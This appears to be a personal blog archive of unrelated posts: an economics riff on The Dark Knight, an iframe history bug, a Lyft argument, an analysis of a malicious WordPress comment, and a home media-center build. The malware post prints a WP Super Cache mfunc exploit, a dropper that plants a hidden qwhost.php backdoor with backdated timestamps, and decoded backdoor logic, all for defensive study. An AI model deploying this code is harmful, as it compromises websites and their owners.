The Joker vs. Quantitative Easing

In The Dark Knight (2008), the Joker destroys a large pile of cash by setting it on fire. This demonstrates the Joker’s commitment to nihilism but raises a much more interesting question: What is the deflationary effect on Gotham’s economy?

To answer that we need to know if the money was actually going to be spent.

It absolutely was.

Before the events of the film, newly elected District Attorney, Harvey Dent, has spearheaded an anti-money laundering campaign but has failed to halt the business of the mob which has access to a few crooked banks under the control of Chinese financier, Lau.

Batman helps his cop friend Gordon identify Lau’s banks via drug purchases with marked bills. Lau’s banks are performing two types of services. The first is exciting: money laundering. The illicit local deposits in Gotham are “layered” by being sent to Lau’s company in Hong Kong and then “integrated” by being paid back to Gotham gangsters. The mob spends this money on the ostensibly legitimate parts of their business like real estate, capital goods (trucks, cement), and payroll which is spent on consumer goods (cannoli).

The other type of service the banks perform is boring: commercial banking. The mob’s deposits are on the books as cash reserves and count toward reserve requirements held against business loans, car loans, and mortgages for the general public. Easy credit helps businesses grow and is great for consumer spending.

Lau’s corrupt cops tip him off to Gordon’s raid and he explains to his ethnically diverse cadre of gangsters that he has moved the deposits to a secure location that is “not a bank”. This is bad for the general public. If the mob is unbanked, there’s slightly less credit available for the people of Gotham.

Remember that the film is set in 2008 which happens to be the beginning of the financial crisis. Gotham needs all the cash it can get.

Later on, the Joker kidnaps Lau and forces him to give up the non-bank location of the money. We see Lau tied up in a chair atop a mountain of cash. Assuming a billion dollars in hundreds is about two pallets, the total value of cash mountain is on the order of 10 billion dollars. Note that Batman had already forced Lau to withdraw the money from the banks so he shares some culpability for the deflation, at least in the short term [1].

Is this a meaningful reduction of the money supply?

WSJ says:

From December 2008 to March 2010, the Fed bought $1.7 trillion of Treasurys and mortgage-backed securities [2]

You can sort of see that here in the dark blue line. Notice the vertical axis is in trillions of dollars [3].


So $1.7T over 15 months is $113B dollars a month. The Joker burned less than a tenth of that in the warehouse which isn’t terrible.

There’s also fallout from dismantling the mob that’s hard to quantify. A nontrivial number of henchmen, goons, and thugs will be out of the street if Batman gets his way. These people will have a hard time transitioning to the legitimate economy which systematically practices de jure discrimination against anyone with a criminal record.

But at the same time, the removing the presence of the mob in Gotham lowers costs of doing business for everyone else. If the Taco Bell franchise has to pay protection, it can’t hire a guy to keep the drive-through open on weekends. All told, the mob is probably a net negative for the local economy.

Okay, so burning a few billion dollars isn’t enough to cause serious monetary damage. In fact, it pales in comparison to the non-monetary effects of the Joker’s campaign. Terrorism hurts growth in 2 ways, says the IMF [4].

  1. Direct damage is physical and logistical. A) Businesses are literally exploded and can’t operate. Remember the hospital destroyed by the Joker. B) Decreased productivity lowers output (the National Guard shuts down all bridges and tunnels)
  2. Indirect damage is psychological. Decreased consumer confidence lowers consumption. The assassination of the police commissioner isn’t getting anyone into Gotham department stores.

In summary, Batman’s decision to take out the Joker has a sound economic rationale. He’s firmly on the side of growth. See if you can spot the omission in Gordon’s closing remarks.

he’s a silent guardian, a watchful
protector… a dark knight.

What he didn’t say is that he’s a protector of markets. Which isn’t surprising given Bruce Wayne’s nominal day job.


[1] Had the total amount been seized by the police under asset forfeiture laws, the cops would get to keep up to 60% for new toys while the remainder goes to the New York state treasury.




Additional reading

Aaron Swartz highlights political and philosophical dilemmas appearing in the film.


Changing the src attribute of an iframe modifies the history

A few weeks ago I rolled out a feature on the Indeed mobile site that used a modal menu. A coworker noticed that the modal was breaking the back button. Opening and closing the modal was creating entries in the browser’s history.

At first I thought I had missed a preventDefault in a callback somewhere. Nope.

The culprit was an iframe that we were using to track user interactions. If you modify the src attribute, a load event fires inside the iframe. This event bubbles up to the top window, creating a history entry without changing the outermost url.

This fiddle demonstrates the behavior. Click the button and watch your favicon (if you’re in chrome). You’ll see that it spins ever so briefly even though the outermost page does not refresh.



Anyway, I replaced the old iframe hack with Closure’s `` and it was all gravy. If you’re feeling lucky, download the app and you may end up in the modal test group.

PS: If you’re in a situation where you have to use an iframe, but you don’t want to modify the history, just destroy it and create a new one.

An argument for Lyft

There’s a lot of rhetoric swirling around the Lyft debate concerning an evil taxi lobby and macro concerns on Austin’s congestion. I want to dissect the larger discussion apply a sober focus to the most emotionally charged aspect: Safety.

The anti-ridesharing crowd employs a false syllogism.

  • Taxi licenses increase public safety.
  • Lyft drivers are unlicensed.
  • Legalizing Lyft would decrease public safety.

There’s an implicit assumption in this argument: That licensed taxis are the only form of private transportation on the road now. This is utterly false. Anecdotally, about 20% of the cabs I take are illegal and supposedly dangerous.

The dance is a familiar one if you’ve ever spent time downtown. It’s 2:30 am. You’re on San Jacinto or Congress, looking for that illuminated Yellow Cab dome. After 10 minutes with no luck, Joey McRando pulls up in a black SUV and offers a ride. You take seven seconds to size him up and decide that you could choke him to death if it really hits the fan. There’s some awkward bartering and you’re on your way.

Ridesharing apps alleviate the sketchiness of this fairly common situation. Even if their driver requirements are less stringent than taxi licenses, the Amazon-style rating system with stars and reviews is a far better guarantor of safety than me ascertaining the fighting ability of a random person.

Policy decisions should be underpinned by sober assessments of conditions on the ground. There’s a clear pragmatic way to keep me from hopping into random cars in the middle of the night.

Legalize Lyft.


Update 7/7/2014:
Two or three weeks after this post was published, Lyft went from a flaky don’t-hold-your-breath operation to a reliable way to get around Austin. It’s still not legal, but the Lyft Death Star is fully operational. Yeah, buddy.

Update 1/17/2017:
Both Uber and Lyft left Austin in May 2016 after a ballot measure overturning a driver fingerprinting requirement failed. There are several replacement apps but they cost more and none of them seem to work as well. I have been living in San Francisco for years now. This one is on y’all.

Malicious PHP snippet from a WordPress comment

I received a spam comment on a WordPress instance that stood out from the crowd.

<!--mfunc eval(base64_decode("IGVycm9yX3JlcG9ydGluZygwKTsgJGZpbGUgPSBkaXJuYW1lKCRfU0VSV
EWXR2UGVlMDA5ZEl... you get the idea ... )); --><!--/mfunc-->

How can I not investigate this? It’s clearly malicious. I wasn’t sure what this mfunc business was, so I looked it up.

WP Super Cache is a full page caching plugin for WordPress.

Unfortunately it was reported recently that remote visitors to sites using the plugin could execute any code they like by simply leaving a comment containing the right mfunc code.


Cool. I’m not using WP Super Cache on this particular site, so bullet dodged there. I still wanted to see what the deal was with this code though. I manually executed the base64_decode (no, not with the eval!) and got this.

$file = dirname($_SERVER['SCRIPT_FILENAME']) . '/' . 'wp-includes/qwhost.php'; 
$src = '<?php eval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FB... yeah more of this ... Cbyyu1txOSxZtXwSNTvMO1d1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX/u8/f//+/d//AQ=="))); ?>'; 
$mtime = filemtime(dirname($file));
$fh = fopen($file, 'w'); 
fwrite($fh, $src); fclose($fh); 
@touch($file, $mtime, $mtime); 
@touch(dirname($file), $mtime, $mtime);

I tried to decrypt the big ol string a few more times and realized that this encoding inception goes way more than 3 levels deep. Luckily, there is a badass tool made specifically to help out in situations like this.

Enter PHP Decoder!

It decrypts strings until it gets something useful. After pasting in the above snippet, PHP Decoder will perform 28 inceptions and give you this. (comments mine)

@error_reporting(0); // rooting boxes, be vewy vewy quiet
@ini_set("display_errors", 0);
@ini_set("log_errors", 0);
@ini_set("error_log", 0);
if (isset($_GET['r'])) { 
    // echo back the 'r' url param. Easy way to check if exploit was installed.
    print $_GET['r'];
} elseif (isset($_POST['e'])) {
    // execute obfuscated payload code
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
    // I believe this is equivalent to the above clause which reads post data
    $data = file_get_contents('php://input');
    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';
    if (strlen($data) > 12) {
        $fp = @fopen('tmpfile', 'a');
        @flock($fp, LOCK_EX);
        @fputs($fp, $_SERVER['REMOTE_ADDR'] . "\t" . base64_encode($data) . "\r\n");
        @flock($fp, LOCK_UN);
He doesn't want anyone to see what he's about to do.
“He doesn’t want anyone to see what he’s about to do.”

The code very quietly opens a backdoor and listens at `/wp-includes/qwhost.php` for arbitrary PHP code to execute.

So, am I infected? Luckily the author made it very easy to check. Hit `/wp-includes/qwhost.php?r=test` in your browser. If you see “test” then you’ve been owned.

What’s clever about the wp-includes path is that virtually all WordPress instances have /wp-includes blacklisted in their robots.txt files. You can’t find all the infected blogs on Google with the “inurl:” trick so only the attacker has the complete list.

The Toadmansion Media Center

I live in a house called Toadmansion. It is inhabited by three engineers and a tech sales guy with access to enterprise hardware samples. Our media center is better than yours.

Media Center

I. Software

Two pieces of software power user interactions, XBMC and Andy’s mediaserver Django app.

XBMC is an open source media player with a UI designed for TVs. It checks the two main boxes that we’re looking for in a free app: mature and popular. It does what it’s supposed to do without too much configuration. This is huge because it means we can spend more time worrying about the Django app.

For years mediaserver has only been used by one person, and that’s a shame. The interaction is so obviously valuable.  Imagine a dashboard that integrates local files, a database of all TV shows, and The Pirate Bay. Want to watch anything in the world? Click on it. The torrent magically begins and a progress bar appears in the UI.

Hype aside, the project does need a bit of developer love. I’d like to increase its fault tolerance. and tackle some lingering corner cases. There are many moving pieces because of the external services, but the problems worth solving. Fork the project on GitHub and follow the instructions in the readme if you’d like to contribute.

II. Hardware

The hardware shines as well. We’re lucky to have access to enterprise kit that we wouldn’t normally be able to get our hands on. The components are the router, the nas, and the media server.

The router is a FortiWiFi 60D. The manufacturer doesn’t list price information but I think it goes for around 600 bucks. What’s important for our use case is its support for “client mode” (versus access point mode) out of the box. We’ve configured it to join the main Toadmansion network as a client and share the internet with the NAS and media server. The benefits of this setup are twofold. First, we avoid running an obnoxious ethernet cable through the house. But more importantly, there is no lag between the NAS and the media server because they’re hard-wired.

Sadly, the vast majority of my time in this project went into configuring this router. Just resetting the admin password was a battle. In Fortinet’s router confusopoly you will find documentation for similar but out of date models, private forums, and few Stack Exchange answers. NB: Mass market consumer-grade hardware with a community following is better for personal projects than enterprise gear.

The NAS is a Buffalo Terastation. It has about 8 terabytes of storage. I like it because it is unremarkable. It does what it’s supposed to do. We’ve mounted it on the media server using this fantastic one-liner in `/etc/fstab`

// /media/nas cifs username=Admin,password=OurPassword,guest,uid=1000				  0       0

Between the NAS and the media server itself we have about 9 Terabytes of storage. I have a feeling it’s going to fill up quick so I built an API in mediaserver for monitoring disks. Here’s the Python that gets disk usage:

result = os.statvfs(
         bytes_per_block = result.f_frsize
         blocks_available = result.f_bavail
         available_terabytes = float(blocks_available) * float(bytes_per_block) / 1099511627776
         total_blocks = result.f_blocks
         capacity_terabytes = float(total_blocks) * float(bytes_per_block) / 1099511627776

It appears to work.

The server itself is a mid-range Ubuntu desktop machine in a set-top box form factor case. The XBMC install is a breeze. In the future we may install some game console emulators.

The only missing component is a television. We have an old Sanyo, but it suffers from intractable overscan when using HDMI. The VGA input works but the color is washed out. If you want to release a TV into a good home, Toadmansion is here for you.